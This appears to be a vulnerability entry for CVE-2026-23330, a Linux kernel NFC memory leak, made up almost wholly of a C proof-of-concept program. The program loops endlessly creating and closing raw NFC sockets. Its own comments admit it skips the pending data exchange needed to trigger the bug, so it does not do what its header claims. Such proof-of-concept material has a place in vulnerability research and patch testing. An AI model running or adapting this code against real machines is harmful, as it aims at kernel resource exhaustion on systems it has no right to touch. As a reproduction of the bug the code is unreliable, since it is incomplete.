CVE-2026-23330 Linux Kernel NFC内存泄漏漏洞

/* * PoC for CVE-2026-23330: Linux Kernel NFC Memory Leak * This is a conceptual PoC to demonstrate the trigger condition. * Compile: gcc -o poc_nfc_leak poc_nfc_leak.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/nfc.h> int main() { int sock; int i = 0; printf("[+] Starting PoC for CVE-2026-23330...\n"); while (1) { // Create a raw NFC socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); break; } // Simulate data exchange or send data to trigger pending operations // In a real exploit, specific ioctls or data would be sent here // to ensure a data exchange is pending. // Closing the socket without properly handling pending exchange // can trigger the leak if the device closes simultaneously. close(sock); i++; if (i % 1000 == 0) { printf("[+] Iterations: %d\n", i); } } return 0; }